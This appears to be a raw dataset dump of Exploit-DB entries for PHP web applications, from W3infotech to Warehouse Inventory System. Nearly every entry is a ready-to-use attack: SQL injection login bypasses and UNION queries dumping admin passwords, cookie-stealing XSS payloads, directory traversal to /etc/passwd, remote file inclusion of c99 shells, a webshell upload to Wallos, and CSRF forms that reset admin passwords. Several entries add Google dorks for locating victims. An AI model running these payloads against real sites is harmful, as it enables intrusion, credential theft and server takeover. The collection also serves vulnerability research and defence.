deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10222
Description: W3infotech - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-11-24
Author: ViRuS_HiMa

Exploit:
[*]##############################################  
[+] |____ViRuS_HiMa@YouR SyS__|__\              #
[+] |______________________|___||\*___          #
[+] |______________________|___||""|"*\___,     #
[+] |______________________|___||""|*"|___||    #
[+] "([ (@)''(@)""""""(|*(@)(@)********(@)*     #
[+]====================================================================||
[*] About    : W3infotech ( Auth Bypass ) SQL injection Vulnerability  ||
[!] Site     : http://www.w3infotech.com                               ||
[!] Author   : ViRuS_HiMa                                              ||
[!] Site     : wWw.HeLL-z0ne.org                                       ||                                             
[!] E-Mail   : eGypT_GoVeRnMenT[at]HoTmaiL[dot]CoM                     ||
[!] Location : Cairo-007                                               ||
[!]====================================================================||
[!]                  [H]eL[L] [Z]on[E] [C]re[W]                        ||
[!]====================================================================||
[!]
[!] Exploitation :                                                     ||
[!]
[!]    you can use this dork :  "Powered By W3infotech"                ||
[!]
[!]    Just add the admin path ,, so it will be :                      ||
[!]    
[!]    http://server/admin                                             ||    
[!]
[!]    then auth bypass using this password :                          ||
[!]
[!]    hima' or 'a'='a                                                 ||
[!]
[!]    it mean that you have to type the same code in user and pass    ||
[!]
[!]    what you got ?? ,, you are in the script control panel now :p   ||
[!]                                                               
[!]====================================================================||
[!] Greetz : Haxker & explit007 & Kasper-Ksa & All My Friends .         ||
[*]====================================================================||
Exploit-DB #29865
Description: Wabbit Gallery Script 0.9 - 'showpic.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-04-17
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/23526/info

Wabbit Gallery Script is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Wabbit Gallery Script 0.9 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/showpic.php?pic=[xss]
http://www.example.com/[path]/showpic.php?gal=[xss]
Exploit-DB #29145
Description: Wabbit PHP Gallery 0.9 - 'Dir' Directory Traversal
Type: webapps
Platform: php
Date: 2006-11-20
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21213/info

Wabbit PHP Gallery is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to retrieve the contents of arbitrary files in the context of the webserver process. Information obtained may aid in further attacks.

http://www.example.com/index.php?dir=../../../../../../etc/passwd
Exploit-DB #12562
Description: Waibrasil - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-10
Author: eXeSoul

Exploit:
# Title: Waibrasil Remote / Local File Inclusion
# Date:  10-05-2010
# Author: eXeSoul
# Vendor: www.waibrasil.com.br
# category: RFI / LFI
# Version: webapps
# Tested on: Apcahe/Unix
# VCE: ()
# Code : hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt? 
# Dork :  inurl:"index.php?conteudo="
-----------------------------------------------------------------------------------
##########################################################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#
#Thanks:I-H Guru ,SaiSatish,FB1H2S,Micr0,Dark_Blue,c00lt04d,X__HMG,Th3 RDXâ„¢,X_Cobra_X,AK-47
#
#Shoutz: Notieboi,r45c4l,Yash,M.R SK,Hacker Cyclone,Neo Hacker,S1layer
#
#Catch us at www.andhrahackers.com or www.teamicw.in
##########################################################################################################

Local File Inclusion

Dork:- inurl:"index.php?conteudo="


Exploited Link:- http://[site].com/index.php?conteudo=[exploit]


exploit:-  hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt?

live demo :- http://[site]/index.php?conteudo=hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt?



Dork:  inurl:"index.php?conteudo="

Exploit: www.Site.com/index.php?conteudo=[LFI]

Live Demo: http://[site]/index.php?conteudo=../../../../etc/passwd


# eXeSoul  mailto: exe.soul@live.com

# JAY HIND.!! JAY SHREE RAM.!! JAY SHREE KRISHA.!! JAY MAHADEV.!!

# eXploit-db.com [10-5-2010]
Exploit-DB #47548
Description: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 - 'description' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-10-28
Author: cakes

Exploit:
Exploit Title: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 - 'description' Cross-Site Scripting
Date: 2019-10-28
Exploit Author: Cakes
Vendor Homepage: waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON
Software Link: https://github.com/waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON.git
Version: 1.21
Tested on: CentOS7
CVE : N/A

# Description:
# Cross-Site scripting vulnerability in the description field. This XSS completely breaks the web application.

#POC
POST /addEvent.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.20/calendar03/
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
Cookie: PHPSESSID=t41kk4huqaluhcfghvqqvucl56
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

title=%3Cscript%3Ealert%28%22TEST-Title%22%29%3B%3C%2Fscript%3E&description=%3Cscript%3Ealert%28%22TEST-Description%22%29%3B%3C%2Fscript%3E&color=%230071c5&start=2019-01-23+00%3A00%3A00&end=2019-01-24+00%3A00%3A00
Exploit-DB #51924
Description: Wallos < 1.11.2 - File Upload RCE
Type: webapps
Platform: php
Date: 2024-03-25
Author: sml

Exploit:
# Exploit Title: Wallos - File Upload RCE (Authenticated)
# Date: 2024-03-04
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://github.com/ellite/Wallos
# Software Link: https://github.com/ellite/Wallos
# Version: < 1.11.2
# Tested on: Debian 12

Wallos allows you to upload an image/logo when you create a new subscription.
This can be bypassed to upload a malicious .php file.

POC
---

1) Log into the application.
2) Go to "New Subscription"
3) Upload Logo and choose your webshell .php
4) Make the Request changing Content-Type to image/jpeg and adding "GIF89a", it should be like:

--- SNIP -----------------

POST /endpoints/subscription/add.php HTTP/1.1

Host: 192.168.1.44

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.44/

Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]920738324

Origin: http://192.168.1.44

Content-Length: 7220

Connection: close

Cookie: theme=light; language=en; PHPSESSID=6a3e5adc1b74b0f1870bbfceb16cda4b; theme=light

----------------------------[PII_REDACTED][PII_REDACTED]920738324

Content-Disposition: form-data; name="name"

test

----------------------------[PII_REDACTED][PII_REDACTED]920738324

Content-Disposition: form-data; name="logo"; filename="revshell.php"

Content-Type: image/jpeg

GIF89a;

<?php
system($_GET['cmd']);
?> 

----------------------------[PII_REDACTED][PII_REDACTED]920738324

Content-Disposition: form-data; name="logo-url"

----- SNIP -----

5) You will get the response that your file was uploaded ok:

{"status":"Success","message":"Subscription updated successfully"}


6) Your file will be located in: 
http://VICTIM_IP/images/uploads/logos/XXXXXX-yourshell.php
Exploit-DB #2835
Description: Wallpaper Complete Website 1.0.09 - SQL Injection
Type: webapps
Platform: php
Date: 2006-11-23
Author: GregStar

Exploit:
*************************************************************************************************************************#
                                                              					          		 #
			               			 Coding 4 Fun     						 #	
			                                      						  		 #
*************************************************************************************************************************#
													  		 #
* Wallpaper Complete Website  1.0.09  (http://www.easysitenetwork.com/modules.php?name=Content&pa=showpage&pid=7) ; 	 #
													  		 #	
* Class = SQL Injection ;										  		 #
   													  		 #
* Download = http://www.easysitenetwork.com/modules.php?name=Downloads&d_op=getit&lid=8 ;				 #
													  		 #
* Found by = GregStar (gregstar[at]c4f[dot]pl) (http://c4f.pl) ;				          		 #
												  	  		 #
-------------------------------------------------------------------------------------------------------------------------#
													  		 #
													  		 #
- PoC:												          		 #
													  		 #
http://[target]/[path]/wallpaper.php?wallpaperid=1%20UNION%20SELECT%20login,0,0,0,0,password%20FROM%20users%20/* 	 #
															 #
															 #
*************************************************************************************************************************#													  				
Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,rfl,d3m0n,java,reyw,kw@ch.	  		 #
												          		 #
*************************************************************************************************************************#

# milw0rm.com [2006-11-23]
Exploit-DB #30356
Description: Wallpaper Script 3.5.0082 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-12-16
Author: null pointer

Exploit:
[~] Exploit Title : Wallpaper Script Stored XSS Vulnerability
[~] D0rk Google : 
[~] Author : nullp0int3r (0x00p0int3r@gmail.com)
[~] Version : 3.5.0082
[~] Date : 2013-12-14
[~] Vendor Homepage: http://www.wallpaperscript.com/
[~] Test on : Windows


Exploitation:
1) Register and log on as a regular member
2) Click on "Add Wallpaper"
3) Write in the title field: </title><script>alert("XSS")</script>
4) Fill other fields and choose a photo and click on "Save"
5) Go to "My Wallpapers"
6) Select your uploaded photo

Thanks:
Enddo
Far3nh3it
Exploit-DB #4770
Description: Wallpaper Site 1.0.09 - 'category.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-22
Author: Koller

Exploit:
#    .__                                          __.   
#    NN)    NNNN   JNNN` NNNN.   NNN NNNNNNNNNNN  NN)   
#    NN)    `NNN).NNNF  .NNNNN  (NN) """4NNN"""`  NN)   
#    NN)     (NNNNNN`   (NNNNN) NNN     (NNN      NN)   
#    NN)      4NNNN`    NNN(NNN.NNF     NNN)      NN)   
#    NN)     JNNNNL    (NN) NNNNNN)    (NNN       NN)   
#    NN)    JNNNNNN)   JNN` `NNNNN     JNNF       NN)   
#    NN)  .NNNF (NNN.  NNN   4NNN)     NNN)       NN)   
#    NN) JNNN`   NNNN (NN)    NNN`    (NNN        NN)   
#    NN)                                          NN)  
#    .__           http://xaker.name              __.
#
#
# script name      : Wallpaper site 1.0.09
# GoogLe Dork      : Powered by EasySiteNetwork 
# Of. site         : http://www.easysitenetwork.com/
# The price        : ?
# Risk             : Average
# Found By         : Koller
# Thanks           : all members xaker.name & grabberz.com
# Vulnerable files : category.php, editadgroup.php

# Vuln : www.victim.com/category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password),444+from+admin_login/*
#        www.victim.com/category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password,email),444+from+users/*
#
# Admin panel: www.victim.com/siteadmin/index.php
#
# Addon :) - sql-injection in editadgroup.php - www.victim.com/siteadmin/editadgroup.php?groupid=2 union select 111,222/*

# P.s. Happy New Year 8)
#
# Contact: K0ller (at) hotmail (dot) CoM

# milw0rm.com [2007-12-22]
Exploit-DB #44851
Description: WampServer 3.0.6 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-06-07
Author: L0RD

Exploit:
# Exploit Title: WampServer 3.0.6 - Cross-Site Request Forgery
# Date: 2018-06-11
# Exploit Author: L0RD
# Software Link: https://ufile.io/gpqh9
# Vendor Homepage: http://www.wampserver.com/en/
# Version: 3.0.6 - 64bit
# Tested on: Win 10

# Description :
# An issue was discovered in WampServer 3.0.6 which allows a remote
# attacker to force any victim to add or delete virtual hosts.

# POC 1 :
# Add virtual hosts exploit :

<html>
 <head>
   <title>Exploit</title>
 </head>
<body>
  <form action="http://localhost/add_vhost.php?lang=english" method="post">
    <input type="hidden" name="vh_name" value="lord" />
    <input type="hidden" name="vh_ip" value="" />
    <input type="hidden" name="vh_folder" value="C:\wamp64\www"/>
    <input type="submit" name="submit" value="test">
  </form>
 </body>
</html>

# POC 2 :
# Delete virtual hosts exploit :
# Use this exploit to delete specific vhost :
# Exploit :

<form method='post' action="http://localhost/add_vhost.php?lang=english">
    <input type='hidden' name='virtual_del[]' value='Set your vhost name here' checked="true" />
    <input type="submit" name="vhostdelete" value="test">
</form>
Exploit-DB #44384
Description: WampServer 3.1.1 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-04-02
Author: Vipin Chaudhary

Exploit:
 # Exploit Title: WampServer 3.1.1 XSS via CSRF
# Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.1
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8732


1. Description

XSS: cross site scripting via CSRF is remotely exploitable.
http://forum.wampserver.com/read.php?2,138295,150615,page=6#msg-150615

http://forum.wampserver.com/read.php?2,150617

2. Proof of Concept


How to exploit this XSS vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Go to Supress Virtual host and select one to delete and then intercept
the request using burp suite or any other proxy tool
3. Change the value of parameter *virtual_del[] *to "><img src=x
onerror=alert(1)> and forward it then you will see the XSS triggered.

How to see it:
1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
  <body onload="wamp_csrf.submit();">
    <form action="[localhost]; name="wamp_csrf" method="POST">
      <input type="hidden" name="virtual&#95;del&#91;&#93;"
value=""><img&#32;src&#61;x&#32;onerror&#61;alert&#40;1&#41;>"
/>
      <input type="hidden" name="vhostdelete"
value="Suppress&#32;VirtualHost" />
    </form>
  </body>
</html>

Warning: action="[localhost] is action='
http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by
double quote("[image: winking smiley]


3. Solution:

Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper
Exploit-DB #44385
Description: WampServer 3.1.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-04-02
Author: Vipin Chaudhary

Exploit:
# Exploit Title: WampServer 3.1.2 CSRF to add or delete any virtual hostsremotely
# Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.2
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8817


1. Description

CSRF (Cross site request forgery) in WampServer 3.1.2 which allows a remote
attacker to force any victim to add or delete virtual hosts.

http://forum.wampserver.com/read.php?2,138295,150722,page=6#msg-150722

2. Proof of Concept

How to exploit this CSRF vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Now intercept the request with proxy tool like burp suite.
3. Now make a CSRF PoC of the request and to exploit you can host it on
internet and send the link to the victim.

*Exploit Code for deleting any host remotely:*

1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
  <body onload="wamp_csrf.submit();">
    <form action="http://localhost/add_vhost.php?lang=english"
name="wamp_csrf" method="POST">
      <input type="hidden" name="virtual&#95;del&#91;&#93;"
value="localhost" />
      <input type="hidden" name="vhostdelete" value="Suppress&#32;VirtualHost"
/>
    </form>
  </body>
</html>

2. Then run it on your installed vulnerable wampserver.

3. Solution:

Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper
Exploit-DB #37991
Description: WANem - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-16
Author: Brendan Coles

Exploit:
source: https://www.securityfocus.com/bid/56326/info

WANem is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WANem 2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/WANem/index-advanced.php/"><script>alert(document.cookie);</script><p+"

http://www.example.com/WANem/index-basic.php/"><script>alert(document.cookie);</script><p+"

http://www.example.com/WANem/status.php?interfaceList="><script>alert(document.cookie);</script><p+"
Exploit-DB #15090
Description: WAnewsletter 2.1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-23
Author: BrOx-Dz

Exploit:
================================================
WAnewsletter v 2.1.2 SQL Injection Vulnerability
================================================

################################################################################################
# Exploit Title: WAnewsletter v 2.1.2 SQL Injection Vulnerabilitie
# Date: 23/09/2010
# Author: BrOx-Dz
# Author: E.dz@hotmail.fr
# Software Link:http://phpcodeur.net/wascripts/wanewsletter/releases/2.1.2/wanewsletter-2.1.2.zip
# Dork  : no Kids
# Version: 2.1.2
# Tested on: windows xp pack 3
################################################################################################
 
   
--[ Exploitable ]--

http://site/index.php?service=5&id=[SQL Injection]



http://site/index.php?service=5&id=4375+UNION+SELECT+1,2,3,concat(user,0x3a,passwd),5+from+wa_admin--


and go

http://site/admin/login.php


--[ Demo ]--


http://site/index.php?service=5&id=-4375+UNION+SELECT+1,2,3,concat(user,0x3a,passwd),5+from+wa_admin--




Good Luck
Exploit-DB #4000
Description: wanewsletter 2.1.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-28
Author: Mogatil

Exploit:
======================= S==A==U==D==I ========================

WAnewsletter-2.1.3 (newsletter.php) RFI Vul

==============================================================

Found By : Mogatil , jjl@hotmail.com

==============================================================

Script Site : http://script.emanual.ru/get?i=1053

==============================================================
File : /newsletter.php


require_once($waroot . 'start.php');

==============================================================

Thanx: cold zero . gawey Al Azary . crazy man . scorbion_22 .
the_muslim_sniper

==============================================================

Exploit :[Path]/newsletter/newsletter.php?waroot=shell

==============================================================

# milw0rm.com [2007-05-28]
Exploit-DB #34873
Description: Wap-motor - 'image' Directory Traversal
Type: webapps
Platform: php
Date: 2009-08-27
Author: Inj3ct0r

Exploit:
source:  https://www.securityfocus.com/bid/44223/info

Wap-motor is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Versions prior to Wap-motor 18.1 are vulnerable. 

http://www.example.com/gallery/gallery.php?image=%00../profil/Twost.prof%00.gif
http://www.example.com/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://www.example.com/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif
Exploit-DB #27537
Description: Warcraft III Replay Parser for PHP 1.8.c - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-03-31
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17334/info

Warcraft III Replay Parser for PHP is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Warcraft III Replay Parser for PHP 1.8c is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/[path]/index.php?page=evilcode.txt?&cmd=uname -a
Exploit-DB #48738
Description: Warehouse Inventory System 1.0 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2020-08-10
Author: boku

Exploit:
# Exploit Title: Warehouse Inventory System 1.0 - Cross-Site Request Forgery (Change Admin Password)
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Date: 2020-08-09
# Vendor Homepage:  https://oswapp.com
# Software Link: https://github.com/siamon123/warehouse-inventory-system/archive/master.zip
# Version: 1.0
# Tested On: Windows 10 Pro + XAMPP | Python 2.7
# CWE-352: Cross-Site Request Forgery (CSRF)
# CVSS Base Score: 7.5 # Impact Subscore: 5.9 # Exploitability Subscore: 1.6
# Vulnerability Description:
#   Cross-Site Request Forgery (CSRF) vulnerability in 'edit_user.php' webpage of OSWAPP's 
#   Warehouuse Inventory System v1.0 allows remote attackers to change the admins password
#   via authenticated admin visiting a third-party site.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<IP_ADDRESS>/edit_user.php?id=1" method="POST">
      <input type="hidden" name="password" value="Boku123!" />
      <input type="hidden" name="update&#45;pass" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>